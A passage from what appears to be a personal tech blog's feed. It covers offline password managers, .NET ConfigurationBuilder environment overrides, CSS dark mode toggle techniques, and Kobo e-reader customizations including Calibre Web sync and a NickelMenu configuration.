<p>I’m most comfortable with the aspects and freedom provided by the offline password managers <a href="https://keepass.info/">KeePass2</a>, <a href="https://www.keepassdx.com/">KeePassDX</a>, and <a href="https://keepassxc.org/">KeePassXC</a>. Syncing files is a solved problem nowadays so it’s not a huge hit in terms of convenience and functionality. I’m backing up to several places including Google Drive, a Raspberry Pi, and a UNC share. It also means that I can safely lose or reset devices without worrying about credentials and 2FA codes. In case of a disaster, a copy will be somewhere, at worst mostly recoverable.</p>
<p>I’m still undecided about 2FA codes, I have them both in KeePass, as well as Authy. I’m still slightly uncomfortable that Authy is tied to a phone number, and perhaps I should have a good look at Aegis.</p>
.NET's underrated configuration feature2023-06-26T00:00:00Zhttps://code.mendhak.com/dotnet-simple-powerful-configuration/<p>My favorite kind of features are usually ones that let you start simple and still let you build powerfully on top without being overwhelming. .NET’s <a href="https://learn.microsoft.com/en-us/dotnet/api/microsoft.extensions.configuration.configurationbuilder">ConfigurationBuilder</a> being one, is one of my favorite framework features. It’s used regularly in codebases, without much thought given to it, but I wanted to take a moment to appreciate it.</p>
<p>The setup starts with a simple block,</p>
<pre class="language-csharp"><code class="language-csharp"><span class="token class-name"><span class="token keyword">var</span></span> currentEnvironment <span class="token operator">=</span> Environment<span class="token punctuation">.</span><span class="token function">GetEnvironmentVariable</span><span class="token punctuation">(</span><span class="token string">"ENVIRONMENT_NAME"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name"><span class="token keyword">var</span></span> config <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token constructor-invocation class-name">ConfigurationBuilder</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token punctuation">.</span><span class="token function">SetBasePath</span><span class="token punctuation">(</span>Directory<span class="token punctuation">.</span><span class="token function">GetCurrentDirectory</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token punctuation">.</span><span class="token function">AddJsonFile</span><span class="token punctuation">(</span><span class="token string">"appsettings.json"</span><span class="token punctuation">,</span> <span class="token named-parameter punctuation">optional</span><span class="token punctuation">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token named-parameter punctuation">reloadOnChange</span><span class="token punctuation">:</span> <span class="token boolean">true</span><span class="token punctuation">)</span>
<span class="token punctuation">.</span><span class="token function">AddJsonFile</span><span class="token punctuation">(</span><span class="token interpolation-string"><span class="token string">$"appsettings.</span><span class="token interpolation"><span class="token punctuation">{</span><span class="token expression language-csharp">currentEnvironment</span><span class="token punctuation">}</span></span><span class="token string">.json"</span></span><span class="token punctuation">,</span> <span class="token named-parameter punctuation">optional</span><span class="token punctuation">:</span> <span class="token boolean">true</span><span class="token punctuation">)</span>
<span class="token punctuation">.</span><span class="token function">AddEnvironmentVariables</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">Build</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<p>which does a few things:</p>
<ul>
<li>Look for an <code>appsettings.json</code> file, and read values from it</li>
<li>Look for an <code>appsettings.{currentEnvironment}.json</code> file where the <code>currentEnvironment</code> name can in turn be loaded from an environment variable</li>
<li>Read further values in from environment variables</li>
<li>Have values loaded later override values loaded previously</li>
</ul>
<p>It also fails gracefully by allowing all of the above to be optional, which means you don’t have to do anything at all. And you’re not limited to JSON files, you can also provide in memory lists, or even your own configuration.</p>
<h2 id="appsettings-in-action" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/dotnet-simple-powerful-configuration/#appsettings-in-action">Appsettings in action</a></h2>
<p>Suppose there’s just an <code>appsetting.json</code> file with a Subject and a Name section.</p>
<pre class="language-json"><code class="language-json"><span class="token punctuation">{</span>
<span class="token property">"Subject"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"Name"</span><span class="token operator">:</span> <span class="token string">"From Default"</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span></code></pre>
<p>This could be available to the application code via a colon <code>:</code> separator for each hierarchy.</p>
<pre class="language-csharp"><code class="language-csharp">Console<span class="token punctuation">.</span><span class="token function">WriteLine</span><span class="token punctuation">(</span><span class="token interpolation-string"><span class="token string">$"Hello, </span><span class="token interpolation"><span class="token punctuation">{</span><span class="token expression language-csharp">config<span class="token punctuation">[</span><span class="token string">"Subject:Name"</span><span class="token punctuation">]</span></span><span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<p>Running the program would then produce a very expected output.</p>
<pre class="language-bash"><code class="language-bash">$ dotnet run
Hello, From Default</code></pre>
<p>If you now add an <code>appsettings.production.json</code> with some different value, and set the current environment to production, the values from this new file override what the default provided.</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token assign-left variable">ENVIRONMENT_NAME</span><span class="token operator">=</span>production dotnet run
Hello, From Production<span class="token operator">!</span></code></pre>
<h3 id="provide-values-at-runtime-using-double-underscore" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/dotnet-simple-powerful-configuration/#provide-values-at-runtime-using-double-underscore">Provide values at runtime using double underscore</a></h3>
<p>Now the best bit: it’s further possible to override whatever’s in the appsettings JSON files, at runtime. The convention is simple, supply it via environment variables using the double underscore notation <code>__</code> in place of colons <code>:</code>.</p>
<p>For the <code>Subject:Name</code> example, the environment variable, this would be <code>SUBJECT__NAME</code>, which would take precedence, regardless of environment.</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token assign-left variable">ENVIRONMENT_NAME</span><span class="token operator">=</span>production <span class="token assign-left variable">SUBJECT__NAME</span><span class="token operator">=</span>Dennis dotnet run
Hello, Dennis
<span class="token comment"># Works in Docker too</span>
$ <span class="token function">docker</span> run <span class="token parameter variable">-e</span> <span class="token assign-left variable">ENVIRONMENT_NAME</span><span class="token operator">=</span>production <span class="token parameter variable">-e</span> <span class="token assign-left variable">SUBJECT__NAME</span><span class="token operator">=</span>Harry <span class="token parameter variable">--rm</span> dotnetconfigdemo:latest
Hello, Harry
</code></pre>
<h3 id="useful-for-secrets" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/dotnet-simple-powerful-configuration/#useful-for-secrets">Useful for secrets</a></h3>
<p>This is an especially useful feature because it means that specific configuration values can be provided from external sources including secret managers.</p>
<p>When deploying a .NET application to containers, you can use a provider of your choice to set those secrets.</p>
<p>For serverless deployments such as Fargate, this pairs really nicely by having the environment variable <a href="https://docs.aws.amazon.com/AmazonECS/latest/developerguide/secrets-envvar-secrets-manager.html#secrets-envvar-secrets-manager-update-container-definition">fetched securely from Secrets Manager</a>, without writing any extra code. It’s simply part of the ECS Task Definition</p>
<pre class="language-json"><code class="language-json"><span class="token punctuation">{</span>
<span class="token property">"containerDefinitions"</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token punctuation">{</span>
<span class="token property">"secrets"</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token punctuation">{</span>
<span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"SUBJECT__NAME"</span><span class="token punctuation">,</span>
<span class="token property">"valueFrom"</span><span class="token operator">:</span> <span class="token string">"arn:aws:secretsmanager:region:aws_account_id:secret:secret_subject_name"</span>
<span class="token punctuation">}</span><span class="token punctuation">]</span>
<span class="token punctuation">}</span><span class="token punctuation">]</span>
<span class="token punctuation">}</span></code></pre>
<p>I’m always a fan of making security easy, and this is a great example.</p>
<h3 id="notes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/dotnet-simple-powerful-configuration/#notes">Notes</a></h3>
<p>The actual double underscore notation <code>__</code> doesn’t seem well promoted, or it isn’t readily surfaced via search results and samples. The first place I’ve encountered it was <a href="https://learn.microsoft.com/en-us/aspnet/core/fundamentals/configuration/?view=aspnetcore-7.0#non-prefixed-environment-variables">on the documentation page</a> under the title ‘Non-prefixed environment variables’.</p>
<p>I’ve created a <a href="https://github.com/mendhak/Dotnet-Configuration-Inheritance-Demo/">sample repo here</a> demonstrating the environment and appsettings capabilities.</p>
The unpleasant hackiness of CSS dark mode toggles2023-04-23T00:00:00Zhttps://code.mendhak.com/css-dark-mode-toggle-sucks/<p>There are two ways that websites can offer users a choice between light and dark mode. The first makes use of pure CSS and is managed natively by the browser. The other involves a combination of CSS and Javascript and is usually accompanied by a sun/moon toggle that the user can click on.</p>
<h2 id="the-pure-css-way" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/css-dark-mode-toggle-sucks/#the-pure-css-way">The pure CSS way</a></h2>
<p>The native way is actually quite simple. Design CSS for one color scheme, then override values for the other using the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-color-scheme"><code>prefers-color-scheme</code></a> media feature.</p>
<iframe height="300" style="width: 100%;" scrolling="no" title="Dark mode Toggles - Pure CSS Way" src="https://codepen.io/mendhak/embed/myyWzPB?default-tab=" frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true">
See the Pen <a href="https://codepen.io/mendhak/pen/myyWzPB">
Dark mode Toggles - Pure CSS Way</a> by mendhak (<a href="https://codepen.io/mendhak">@mendhak</a>)
on <a href="https://codepen.io/">CodePen</a>.
</iframe>
<p>The user’s preference value is read from the operating system or the browser’s own setting. Life is simple, but there’s one glaring omission — letting the user set this preference at a more granular website or page level. For instance, a user might set a preference for dark mode in their browser, but would want to switch to light mode <a href="https://graphicdesign.stackexchange.com/questions/15142/which-is-easier-on-the-eyes-dark-on-light-or-light-on-dark">for a text-heavy page</a>.</p>
<h2 id="the-hacky-javascript-way-using-custom-classes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/css-dark-mode-toggle-sucks/#the-hacky-javascript-way-using-custom-classes">The hacky Javascript way, using custom classes</a></h2>
<p>The most common technique for offering a toggle is to use Javascript to apply a custom class at the body level. The <code>prefers-color-scheme</code> feature is still used to start with, and clicking the button then applies the alternate class based on the current detected theme.</p>
<iframe height="300" style="width: 100%;" scrolling="no" title="Dark mode toggles - Hacky JS way" src="https://codepen.io/mendhak/embed/KwwWGgE?default-tab=" frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true">
See the Pen <a href="https://codepen.io/mendhak/pen/KwwWGgE">
Dark mode toggles - Hacky JS way</a> by mendhak (<a href="https://codepen.io/mendhak">@mendhak</a>)
on <a href="https://codepen.io/">CodePen</a>.
</iframe>
<p>The CSS is messier, and grows unwieldy as the site’s style expands. As a convenience, it’s also common to save the user’s toggled theme to local storage so that it is automatically loaded on their next visit.</p>
<h2 id="still-hacky-javascript-using-css-media-features" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/css-dark-mode-toggle-sucks/#still-hacky-javascript-using-css-media-features">Still hacky Javascript, using CSS media features</a></h2>
<p>I’ve <a href="https://stackoverflow.com/a/75124760/974369">managed</a> to work out a way of using Javascript to toggle the light and dark themes, while still making use of the <code>prefers-color-scheme</code> feature, and without any custom classes. It requires looping through every stylesheet’s <a href="https://developer.mozilla.org/en-US/docs/Web/API/CSSStyleSheet/cssRules">rules</a>, inspecting the media of each one, and swapping the light and dark color themes out. The code also includes storing the user’s preference in localStorage, so it remembers on page refresh.</p>
<iframe height="300" style="width: 100%;" scrolling="no" title="Dark mode toggles - Hacky JS with CSS Media Features" src="https://codepen.io/mendhak/embed/ZYYeqKz?default-tab=" frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true">
See the Pen <a href="https://codepen.io/mendhak/pen/ZYYeqKz">
Dark mode toggles - Hacky JS with CSS Media Features</a> by mendhak (<a href="https://codepen.io/mendhak">@mendhak</a>)
on <a href="https://codepen.io/">CodePen</a>.
</iframe>
<p>The code involved is somewhat complicated and unoptimized and will probably be slow for heavy stylesheets. The CSSStyleSheet and CSSRule APIs aren’t widely used nor are they well documented. However, it works, so it could be considered the best of both worlds: it respects the user’s choice at a granular site level, while still allowing the use of native CSS features.</p>
<p>A further enhancement is to listen to any operating system or browser level preference changes and adjust the applied theme accordingly. This can be done by adding a listener, <code>window.matchMedia('(prefers-color-scheme: dark)').addListener(...)</code> and reapplying the themes.</p>
<h2 id="fixing-the-white-flash" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/css-dark-mode-toggle-sucks/#fixing-the-white-flash">Fixing the white flash</a></h2>
<p>Sadly, the hackiness (or its lesser alternative) still isn’t enough. In certain scenarios, when there is a lot of content on the page and the user has saved a dark theme preference for the site, there will briefly appear a blinding white flash before the dark theme activates.</p>
<p>What’s happening is that the browser is painting the page for a few cycles before the Javascript runs, the local storage is checked, and then the theme gets applied. This is especially common on content heavy pages where certain elements are blocking but take a while to load (embedded YouTube videos).</p>
<p>A <a href="https://zwbetz.com/fix-the-white-flash-on-page-load-when-using-a-dark-theme-on-a-static-site/">workaround</a> is to hide the body, use Javascript to apply the theme, and then make the body visible. Another is to <a href="https://stackoverflow.com/questions/63033412/dark-mode-flickers-a-white-background-for-a-millisecond-on-reload">block and assign</a> the dark mode as early as possible during page load.</p>
<h2 id="on-the-fence" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/css-dark-mode-toggle-sucks/#on-the-fence">On the fence</a></h2>
<p>I am still not convinced that offering an option to toggle dark mode is worth the complexity that it entails: possibly some custom CSS, a JavaScript kludge either way, and some additional CSS and further JavaScript band-aid patches to deal with edge cases.</p>
<p>Looking at this from a high level, I feel that the work and modifications involved in providing a user toggle takes me a step too far from focusing on the content-first nature of a web page. I’d prefer a more ‘native’ way of achieving the same thing; I did try searching for whether there were any standards, discussions or proposals in place, but couldn’t find any.</p>
<p>For my own purposes I am using <a href="https://addons.mozilla.org/en-US/firefox/addon/toggle-dark-mode/">this extension</a>, it toggles the browser’s own light and dark mode preference.</p>
My Kobo Customizations2023-03-18T00:00:00Zhttps://code.mendhak.com/kobo-customizations/<p>I recently switched from a Kindle device to a Kobo Libra 2, and have been playing around with its customization and tweaks. These are the ones I’ve found useful so far. They include dark mode, immersive reading, less fidgeting, Instapaper and Overdrive. Most important is integration with Calibre Web, and some unlocked features with NickelMenu.</p>
<figure><span class="lightbox-image" data-src="/assets/images/kobo-customizations/000.jpg"><img src="https://code.mendhak.com/assets/images/kobo-customizations/000.jpg" alt="Kobo Libra 2 with Eyes of the Void cover on display" loading="lazy" style="width: calc(50% - 0.5em);" /></span><figcaption>Kobo Libra 2</figcaption></figure>
<h2 id="better-reading" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-customizations/#better-reading">Better reading</a></h2>
<h3 id="reduce-distractions" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-customizations/#reduce-distractions">Reduce distractions</a></h3>
<p>I prefer an immersive experience when reading, without any distractions such as page number and progress.</p>
<p><code>More</code> > <code>Settings</code> > <code>Reading settings</code><br />
<code>Header</code>: <code>Off</code><br />
<code>Footer</code>: <code>Off</code><br />
<code>Show book progress bar</code>: <code>Uncheck</code></p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/kobo-customizations/001.png">
<img src="https://code.mendhak.com/assets/images/kobo-customizations/001.png" alt="Reading settings with header, footer, show progress" title="" loading="lazy" /></span>
<figcaption>Hide distractions</figcaption>
</figure><p></p>
<h3 id="dark-mode-easier-on-the-eyes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-customizations/#dark-mode-easier-on-the-eyes">Dark mode, easier on the eyes</a></h3>
<p>To help with reading at night, it’s also useful to have dark mode, which can be easy on the eyes in combination with the warm front light. I don’t always use it, but I do flip it on sometimes.</p>
<p><code>More</code> > <code>Settings</code> > <code>Reading settings</code> (Page Appearance)<br />
<code>Dark Mode</code>: <code>On</code></p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/kobo-customizations/003.png">
<img src="https://code.mendhak.com/assets/images/kobo-customizations/003.png" alt="Reading settings with dark mode" title="" loading="lazy" /></span>
<figcaption>Kobo dark mode</figcaption>
</figure><p></p>
<h3 id="reading-without-fidgeting" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-customizations/#reading-without-fidgeting">Reading without fidgeting</a></h3>
<p>The Kobo Libra 2 has physical page turn buttons. I find it easy to hold the device with my thumb over the top button. Since it’s more common to go forward while reading a book, it made sense to have the top button be the page forward button.</p>
<p><code>More</code> > <code>Settings</code> > <code>Reading settings</code><br />
<code>Button Controls</code>: <code>Inverted</code></p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/kobo-customizations/002.png">
<img src="https://code.mendhak.com/assets/images/kobo-customizations/002.png" alt="Button control settings with default and inverted options" title="" loading="lazy" /></span>
<figcaption>Setting top button for next page</figcaption>
</figure><p></p>
<p>Also, when reading on my side, the device keeps automatically rotating to landscape. I’ve locked the rotation to portrait.</p>
<p><code>More</code> > <code>Settings</code> > <code>Reading settings</code> (Page Appearance)<br />
<code>Reading orientation</code>: <code>Portrait</code></p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/kobo-customizations/004.png">
<img src="https://code.mendhak.com/assets/images/kobo-customizations/004.png" alt="Page appearance settings for reading orientation" title="" loading="lazy" /></span>
<figcaption>Lock to portrait</figcaption>
</figure><p></p>
<p>Old muscle memory still remains, and I’ll accidentally touch the screen while reading, which causes a jump to next page. While I can’t disable the touch screen entirely for navigation, I can disable tapping to go forward.</p>
<p><code>More</code> > <code>Settings</code> > <code>Reading settings</code> (Page Appearance)<br />
<code>Page forward and back by</code>: <code>Swiping only</code></p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/kobo-customizations/005.png">
<img src="https://code.mendhak.com/assets/images/kobo-customizations/005.png" alt=""Page forward and back settings"" title="" loading="lazy" /></span>
<figcaption>Swipe to change page</figcaption>
</figure><p></p>
<h2 id="some-nice-to-have-extras" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-customizations/#some-nice-to-have-extras">Some nice to have extras</a></h2>
<h3 id="full-screen-covers" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-customizations/#full-screen-covers">Full screen covers</a></h3>
<p>I like the book cover that appears when a device is turned off. I’ve enabled the feature that makes the cover go full screen.</p>
<p><code>More</code> > <code>Settings</code> > <code>Energy saving and privacy</code><br />
<code>Show book covers full screen</code>: <code>On</code></p>
<p>The info panel option is worth playing around with if you want some stats, or just uncheck it.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/kobo-customizations/006.png">
<img src="https://code.mendhak.com/assets/images/kobo-customizations/006.png" alt="Sleep and power off settings" title="" loading="lazy" /></span>
<figcaption>Showing the book cover, full screen</figcaption>
</figure><p></p>
<h3 id="custom-image-screensavers" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-customizations/#custom-image-screensavers">Custom image screensavers</a></h3>
<p>Instead of the book cover appearing as the ‘screensaver’ when the Kobo is turned off, it’s possible to have Kobo display a custom image.</p>
<p>Connect the Kobo to a computer, and create a folder called screensaver under .kobo, that’s <code>.kobo/screensaver</code>.</p>
<p>Add a bunch of images inside that folder, ideally at a resolution matching the Kobo’s screen. For the Libra 2 this is 1264x1680, and here are some of my images:</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/kobo-customizations/kobo_00001.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/kobo_00001.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/kobo-customizations/kobo_00005.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/kobo_00005.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/kobo-customizations/kobo_00006.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/kobo_00006.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<p><span class="lightbox-image" data-src="/assets/images/kobo-customizations/kobo_00009.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/kobo_00009.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/kobo-customizations/kobo_00011.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/kobo_00011.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/kobo-customizations/kobo_00016.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/kobo_00016.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span></p>
<p><span class="lightbox-image" data-src="/assets/images/kobo-customizations/kobo_00017.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/kobo_00017.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/kobo-customizations/kobo_00020.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/kobo_00020.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/kobo-customizations/kobo_00021.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/kobo_00021.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span></p>
<p><span class="lightbox-image" data-src="/assets/images/kobo-customizations/kobo_00023.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/kobo_00023.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/kobo-customizations/kobo_00030.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/kobo_00030.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/kobo-customizations/kobo_00032.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/kobo_00032.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span></p>
<figcaption>Screensaver images for Kobo Libra 2.</figcaption></figure>
<p>Then, same as the book covers, enable it in settings.</p>
<p><code>More</code> > <code>Settings</code> > <code>Energy saving and privacy</code><br />
<code>Show book covers full screen</code>: <code>On</code></p>
<p>An image should appear the next time the Kobo is put to sleep.</p>
<h3 id="sending-articles-to-kobo" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-customizations/#sending-articles-to-kobo">Sending articles to Kobo</a></h3>
<p>Kobo comes with Instapaper integration, this allows me to use Instapaper app and browser extensions to send articles to the Kobo device for later reading. It’s particularly useful for longform type articles.</p>
<p>The <a href="https://help.kobo.com/hc/en-us/articles/33359968957463-Use-Instapaper-with-your-Kobo-eReader">process for activating Instapaper</a> is pretty simple on the Kobo, go to <code>More</code> > <code>My Articles</code> > <code>Link with Instapaper</code>. Follow the steps given there, and the articles should start syncing to the device.</p>
<h3 id="borrowing-books-from-overdrive-library" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-customizations/#borrowing-books-from-overdrive-library">Borrowing books from Overdrive library</a></h3>
<p>The Kobo also has an Overdrive app, and as luck would have it, my local library is on Overdrive. It’s been a major source of my books over the past few years. Logging in and borrowing books is very simple, and the epub files are saved to the device without any need of the user-hostile Adobe Digital Editions.</p>
<h3 id="adding-new-fonts" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-customizations/#adding-new-fonts">Adding new fonts</a></h3>
<p>Adding new fonts to the Kobo is really easy. Connect the Kobo to a computer, and create a new folder at the root level called <code>fonts</code>. Then just copy the font files (ttf) into that folder.</p>
<p>Some fonts I chose to try were <a href="https://fonts.google.com/noto/specimen/Noto+Serif">Noto Serif</a>, <a href="https://www.dafont.com/linux-libertine.font">Linux Libertine</a> and <a href="https://developer.amazon.com/en-US/alexa/branding/echo-guidelines/identity-guidelines/typography">Bookerly</a>.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/kobo-customizations/008.png">
<img src="https://code.mendhak.com/assets/images/kobo-customizations/008.png" alt="Font face dropdown with various font options" title="" loading="lazy" /></span>
<figcaption>Fonts selection</figcaption>
</figure><p></p>
<h2 id="syncing-kobo-with-calibre-web" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-customizations/#syncing-kobo-with-calibre-web">Syncing Kobo with Calibre Web</a></h2>
<p>My <a href="https://code.mendhak.com/my-ebook-reading-setup/">ebook setup</a> is centered around Calibre as the main source of books, so that I can read on multiple devices. Calibre Web comes with a <a href="https://github.com/janeczku/calibre-web/wiki/Kobo-Integration">Kobo Sync feature</a> which allows setting a specific shelf as the source of books for the Kobo.</p>
<p>In Calibre Web > <code>Admin</code> > <code>Edit Basic Configuration</code> > <code>Feature Configuration</code>, check <code>Enable Kobo Sync</code> and <code>Proxy unknown requests to Kobo Store</code>.</p>
<p>Under the user profile (‘admin’ for me), check <code>Sync only books in selected shelves with Kobo</code>.</p>
<p>Click <code>Create/View</code> under <code>Kobo Sync Token</code>, and a popup with a value in the format <code>api_endpoint=https://example.com/kobo/xxxxxxxxxxxxxxxx</code> appears. Make a note of this value as it’s needed later.</p>
<p>Create a new shelf, eg ‘Kobo Shelf’ and check <code>Sync this shelf with Kobo device </code>.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/kobo-customizations/010.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/010.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/kobo-customizations/011.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/011.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/kobo-customizations/012.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/012.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/kobo-customizations/014.png"><img src="https://code.mendhak.com/assets/images/kobo-customizations/014.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Setting up Calibre Web with Kobo Sync</figcaption></figure>
<p>That’s the Calibre Web setup, and next is getting the Kobo device to make use of it.</p>
<p>Connect the Kobo to a computer, and when the device is mounted, edit the file <code>.kobo/Kobo/Kobo eReader.conf</code>. Look for the line:</p>
<pre><code> api_endpoint=https://storeapi.kobo.com
</code></pre>
<p>And change it to the value that Calibre Web gave earlier.</p>
<pre><code> api_endpoint=https://example.com/kobo/xxxxxxxxxxxxxxxx
</code></pre>
<p>Unmount the Kobo, then sync the device from the top right icon on the home screen. The Kobo now attempts to sync with Calibre Web, which responds with the list of books from the created shelf.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/kobo-customizations/015.png">
<img src="https://code.mendhak.com/assets/images/kobo-customizations/015.png" alt="Kobo sync menu callout" title="" loading="lazy" /></span>
<figcaption>Sync Kobo</figcaption>
</figure><p></p>
<h2 id="advanced-features-with-nickelmenu" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-customizations/#advanced-features-with-nickelmenu">Advanced features with NickelMenu</a></h2>
<p>NickelMenu is third party software that can run on the Kobo and it comes with various quality of life improvements and unlocks hidden features on the Kobo.</p>
<p><a href="https://pgaskin.net/NickelMenu/">Kobo home page in dark</a> creates an additional menu at the bottom right of the Kobo home screen, and can also add additional menu <em>items</em> in the reader view menu, and the word selection menu.</p>
<p>Here are some of the ones I’ve made use of:</p>
<p><strong>Invert & Reboot</strong> — Kobo’s default Dark Mode only sets it in the reader view, but not in the menus, home screen, and library view. NickelMenu can make available an <em>Invert</em> option which inverts the colors everywhere, including the menus and screens.</p>
<p><strong>Sleep</strong> — it’s easier to sleep the device right from the menu rather than the harder to reach power button on the Kobo Libra 2. Less fidgeting while reading.</p>
<p><strong>Screenshots</strong> — toggling this menu option turns the power button into a screenshot button. Remember to un-toggle it, or it becomes difficult to recover the device from sleep.</p>
<p><strong>Overdrive</strong> and <strong>Instapaper</strong> — easy to get to these two apps from the menu</p>
<p><strong>Sketch Pad, Solitaire, Sudoku, Word Scramble, Unblock It</strong> — various simple games. Sketch Pad is a quick way of just drawing with your finger, and it saves as SVG.</p>
<p><strong>Toggle screensaver</strong> — allows switching between the <a href="https://code.mendhak.com/kobo-customizations/#full-screen-covers">book cover</a> or the <a href="https://code.mendhak.com/kobo-customizations/#custom-image-screensavers">custom images</a> as the screensaver.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/kobo-customizations/020.png">
<img src="https://code.mendhak.com/assets/images/kobo-customizations/020.png" alt="Kobo home screen in dark mode with NickelMenu options" title="" loading="lazy" /></span>
<figcaption>My NickelMenu options</figcaption>
</figure><p></p>
<p>I followed the instructions to install NickelMenu, created a custom menu file, and these are its contents:</p>
<pre><code>#--------------------------------------------------------------------------------------------
menu_item :main :Dark Mode :nickel_setting :toggle :dark_mode
menu_item :main :Invert & Reboot :nickel_setting :toggle: invert
chain_success :power :reboot
menu_item :main :Screenshots :nickel_setting :toggle :screenshots
menu_item :main :Overdrive :nickel_open: store:overdrive
menu_item :main :Instapaper :nickel_open: library:instapaper
menu_item :main :Sketch Pad :nickel_extras :sketch_pad
menu_item :main :Solitaire :nickel_extras :solitaire
menu_item :main :Sudoku :nickel_extras :sudoku
menu_item :main :Word Scramble :nickel_extras :word_scramble
menu_item :main :Unblock It :nickel_extras :unblock_it
menu_item : main : Toggle screensaver : cmd_output : 500 : quiet : test -e /mnt/onboard/.kobo/screensaver_old
chain_failure : skip : 3
chain_success : cmd_spawn : quiet: mv /mnt/onboard/.kobo/screensaver_old /mnt/onboard/.kobo/screensaver
chain_success : dbg_toast : Screensaver on
chain_always : skip : -1
chain_failure : cmd_spawn : quiet: mv /mnt/onboard/.kobo/screensaver /mnt/onboard/.kobo/screensaver_old
chain_success : dbg_toast : Screensaver off
menu_item :main :Kernel Version :cmd_output :500:uname -a
menu_item :main :IP Address :cmd_output :500:/sbin/ifconfig | /usr/bin/awk '/inet addr/{print substr($2,6)}'
